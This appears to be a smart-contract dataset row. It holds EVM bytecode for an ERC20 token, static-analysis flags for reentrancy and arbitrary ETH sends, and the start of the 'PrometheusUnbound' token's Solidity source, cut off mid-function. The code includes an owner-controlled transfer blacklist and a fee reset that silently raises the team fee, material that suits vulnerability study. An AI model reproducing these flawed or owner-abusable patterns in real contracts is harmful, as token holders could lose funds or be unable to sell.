81526020016000206000610509611295565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c279092919063ffffffff16565b61129d565b600190509392505050565b61056b611295565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ef90612fd1565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610664611295565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e890612fd1565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661074f611295565b73ffffffffffffffffffffffffffffffffffffffff161461076f57600080fd5b600047905061077d81611c8b565b50565b60006107ca600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dac565b9050919050565b6107d9611295565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610866576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085d90612fd1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f5a5a000000000000000000000000000000000000000000000000000000000000815250905090565b600061099e610997611295565b8484611468565b6001905092915050565b6109b0611295565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3490612fd1565b60405180910390fd5b60005b8151811015610af4576001600a6000848481518110610a88577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aec906133a7565b915050610a40565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b39611295565b73ffffffffffffffffffffffffffffffffffffffff1614610b5957600080fd5b6000610b6430610780565b9050610b6f81611e1a565b50565b610b7a611295565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfe90612fd1565b60405180910390fd5b600f60149054906101000a900460ff1615610c57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4e90613051565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ce430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166512309ce5400061129d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2a57600080fd5b505afa158015610d3e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d62919061295e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dc457600080fd5b505afa158015610dd8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dfc919061295e565b6040518363ffffffff1660e01b8152600401610e19929190612e21565b602060405180830381600087803b158015610e3357600080fd5b505af1158015610e47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6b919061295e565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ef430610780565b600080610eff610924565b426040518863ffffffff1660e01b8152600401610f2196959493929190612e73565b6060604051808303818588803b158015610f3a57600080fd5b505af1158015610f4e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f739190612b0a565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff02191690831515021790555064e8d4a510006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611072929190612e4a565b602060405180830381600087803b15801561108c57600080fd5b505af11580156110a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c49190612ab8565b5050565b6110d0611295565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461115d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115490612fd1565b60405180910390fd5b600081116111a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119790612f91565b60405180910390fd5b6111cc60646111be836512309ce5400061211490919063ffffffff16565b61218f90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516112039190613091565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561130d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130490613031565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561137d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137490612f51565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161145b9190613091565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114cf90613011565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611548576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153f90612f11565b60405180910390fd5b6000811161158b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158290612ff1565b60405180910390fd5b611593610924565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160157506115d1610924565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6457600f60179054906101000a900460ff1615611834573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116dd5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117375750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183357600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661177d611295565b73ffffffffffffffffffffffffffffffffffffffff1614806117f35750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117db611295565b73ffffffffffffffffffffffffffffffffffffffff16145b611832576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182990613071565b60405180910390fd5b5b5b60105481111561184357600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118e75750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118f057600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561199b5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119f15750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a095750600f60179054906101000a900460ff165b15611aaa5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a5957600080fd5b603c42611a6691906131c7565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ab530610780565b9050600f60159054906101000a900460ff16158015611b225750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b3a5750600f60169054906101000a900460ff165b15611b6257611b4881611e1a565b60004790506000811115611b6057611b5f47611c8b565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c0b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c1557600090505b611c21848484846121d9565b50505050565b6000838311158290611c6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c669190612eef565b60405180910390fd5b5060008385611c7e91906132a8565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cee600a611ce060048661211490919063ffffffff16565b61218f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d19573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d7d600a611d6f60068661211490919063ffffffff16565b61218f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611da8573d6000803e3d6000fd5b5050565b6000600654821115611df3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dea90612f31565b60405180910390fd5b6000611dfd612206565b9050611e12818461218f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e78577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611ea65781602001602082028036833780820191505090505b5090503081600081518110611ee4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f8657600080fd5b505afa158015611f9a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fbe919061295e565b81600181518110611ff8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061205f30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461129d565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120c39594939291906130ac565b600060405180830381600087803b1580156120dd57600080fd5b505af11580156120f1573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121275760009050612189565b60008284612135919061324e565b9050828482612144919061321d565b14612184576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217b90612fb1565b60405180910390fd5b809150505b92915050565b60006121d183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612231565b905092915050565b806121e7576121e6612294565b5b6121f28484846122c5565b80612200576121ff612490565b5b50505050565b60008060006122136124a2565b9150915061222a818361218f90919063ffffffff16565b9250505090565b60008083118290612278576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226f9190612eef565b60405180910390fd5b5060008385612287919061321d565b9050809150509392505050565b60006008541480156122a857506000600954145b156122b2576122c3565b600060088190555060006009819055505b565b6000806000806000806122d7876124fb565b95509550955095509550955061233586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461256390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123ca85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ad90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124168161260b565b61242084836126c8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161247d9190613091565b60405180910390a3505050505050505050565b60016008819055506002600981905550565b6000806000600654905060006512309ce5400090506124d26512309ce5400060065461218f90919063ffffffff16565b8210156124ee576006546512309ce540009350935050506124f7565b81819350935050505b9091565b60008060008060008060008060006125188a600854600954612702565b9250925092506000612528612206565b9050600080600061253b8e878787612798565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125a583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c27565b905092915050565b60008082846125bc91906131c7565b905083811015612601576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125f890612f71565b60405180910390fd5b8091505092915050565b6000612615612206565b9050600061262c828461211490919063ffffffff16565b905061268081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ad90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126dd8260065461256390919063ffffffff16565b6006819055506126f8816007546125ad90919063ffffffff16565b6007819055505050565b60008060008061272e6014612720888a61211490919063ffffffff16565b61218f90919063ffffffff16565b90506000612758601461274a888b61211490919063ffffffff16565b61218f90919063ffffffff16565b9050600061278182612773858c61256390919063ffffffff16565b61256390919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127b1858961211490919063ffffffff16565b905060006127c8868961211490919063ffffffff16565b905060006127df878961211490919063ffffffff16565b90506000612808826127fa858761256390919063ffffffff16565b61256390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061283461282f84613146565b613121565b9050808382526020820190508285602086028201111561285357600080fd5b60005b858110156128835781612869888261288d565b845260208401935060208301925050600181019050612856565b5050509392505050565b60008135905061289c81613784565b92915050565b6000815190506128b181613784565b92915050565b600082601f8301126128c857600080fd5b81356128d8848260208601612821565b91505092915050565b6000813590506128f08161379b565b92915050565b6000815190506129058161379b565b92915050565b60008135905061291a816137b2565b92915050565b60008151905061292f816137b2565b92915050565b60006020828403121561294757600080fd5b60006129558482850161288d565b91505092915050565b60006020828403121561297057600080fd5b600061297e848285016128a2565b91505092915050565b6000806040838503121561299a57600080fd5b60006129a88582860161288d565b92505060206129b98582860161288d565b9150509250929050565b6000806000606084860312156129d857600080fd5b60006129e68682870161288d565b93505060206129f78682870161288d565b9250506040612a088682870161290b565b9150509250925092565b60008060408385031215612a2557600080fd5b6000612a338582860161288d565b9250506020612a448582860161290b565b9150509250929050565b600060208284031215612a6057600080fd5b600082013567ffffffffffffffff811115612a7a57600080fd5b612a86848285016128b7565b91505092915050565b600060208284031215612aa157600080fd5b6000612aaf848285016128e1565b91505092915050565b600060208284031215612aca57600080fd5b6000612ad8848285016128f6565b91505092915050565b600060208284031215612af357600080fd5b6000612b018482850161290b565b91505092915050565b600080600060608486031215612b1f57600080fd5b6000612b2d86828701612920565b9350506020612b3e86828701612920565b9250506040612b4f86828701612920565b9150509250925092565b6000612b658383612b71565b60208301905092915050565b612b7a816132dc565b82525050565b612b89816132dc565b82525050565b6000612b9a82613182565b612ba481856131a5565b9350612baf83613172565b8060005b83811015612be0578151612bc78882612b59565b9750612bd283613198565b925050600181019050612bb3565b5085935050505092915050565b612bf6816132ee565b82525050565b612c0581613331565b82525050565b6000612c168261318d565b612c2081856131b6565b9350612c30818560208601613343565b612c398161347d565b840191505092915050565b6000612c516023836131b6565b9150612c5c8261348e565b604082019050919050565b6000612c74602a836131b6565b9150612c7f826134dd565b604082019050919050565b6000612c976022836131b6565b9150612ca28261352c565b604082019050919050565b6000612cba601b836131b6565b9150612cc58261357b565b602082019050919050565b6000612cdd601d836131b6565b9150612ce8826135a4565b602082019050919050565b6000612d006021836131b6565b9150612d0b826135cd565b604082019050919050565b6000612d236020836131b6565b9150612d2e8261361c565b602082019050919050565b6000612d466029836131b6565b9150612d5182613645565b604082019050919050565b6000612d696025836131b6565b9150612d7482613694565b604082019050919050565b6000612d8c6024836131b6565b9150612d97826136e3565b604082019050919050565b6000612daf6017836131b6565b9150612dba82613732565b602082019050919050565b6000612dd26011836131b6565b9150612ddd8261375b565b602082019050919050565b612df18161331a565b82525050565b612e0081613324565b82525050565b6000602082019050612e1b6000830184612b80565b92915050565b6000604082019050612e366000830185612b80565b612e436020830184612b80565b9392505050565b6000604082019050612e5f6000830185612b80565b612e6c6020830184612de8565b9392505050565b600060c082019050612e886000830189612b80565b612e956020830188612de8565b612ea26040830187612bfc565b612eaf6060830186612bfc565b612ebc6080830185612b80565b612ec960a0830184612de8565b979650505050505050565b6000602082019050612ee96000830184612bed565b92915050565b60006020820190508181036000830152612f098184612c0b565b905092915050565b60006020820190508181036000830152612f2a81612c44565b9050919050565b60006020820190508181036000830152612f4a81612c67565b9050919050565b60006020820190508181036000830152612f6a81612c8a565b9050919050565b60006020820190508181036000830152612f8a81612cad565b9050919050565b60006020820190508181036000830152612faa81612cd0565b9050919050565b60006020820190508181036000830152612fca81612cf3565b9050919050565b60006020820190508181036000830152612fea81612d16565b9050919050565b6000602082019050818103600083015261300a81612d39565b9050919050565b6000602082019050818103600083015261302a81612d5c565b9050919050565b6000602082019050818103600083015261304a81612d7f565b9050919050565b6000602082019050818103600083015261306a81612da2565b9050919050565b6000602082019050818103600083015261308a81612dc5565b9050919050565b60006020820190506130a66000830184612de8565b92915050565b600060a0820190506130c16000830188612de8565b6130ce6020830187612bfc565b81810360408301526130e08186612b8f565b90506130ef6060830185612b80565b6130fc6080830184612de8565b9695505050505050565b600060208201905061311b6000830184612df7565b92915050565b600061312b61313c565b90506131378282613376565b919050565b6000604051905090565b600067ffffffffffffffff8211156131615761316061344e565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131d28261331a565b91506131dd8361331a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613212576132116133f0565b5b828201905092915050565b60006132288261331a565b91506132338361331a565b9250826132435761324261341f565b5b828204905092915050565b60006132598261331a565b91506132648361331a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561329d5761329c6133f0565b5b828202905092915050565b60006132b38261331a565b91506132be8361331a565b9250828210156132d1576132d06133f0565b5b828203905092915050565b60006132e7826132fa565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061333c8261331a565b9050919050565b60005b83811015613361578082015181840152602081019050613346565b83811115613370576000848401525b50505050565b61337f8261347d565b810181811067ffffffffffffffff8211171561339e5761339d61344e565b5b80604052505050565b60006133b28261331a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133e5576133e46133f0565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61378d816132dc565b811461379857600080fd5b50565b6137a4816132ee565b81146137af57600080fd5b50565b6137bb8161331a565b81146137c657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208011f605644e4518093e7cc123dc377e9bf872238377741843cbd0b0dcf6d44c64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,994
0x39a92fd24270a427c9da105759e987278f858ea3
/** *Submitted for verification at Etherscan.io on 2021-07-31 */ /* https://t.me/PrometheusUnbound_Official */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract PrometheusUnbound is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "PrometheusUnbound | t.me/PrometheusUnbound_Official"; string private constant _symbol = "UNBOUND"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 6; uint256 private _teamFee = 2; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap 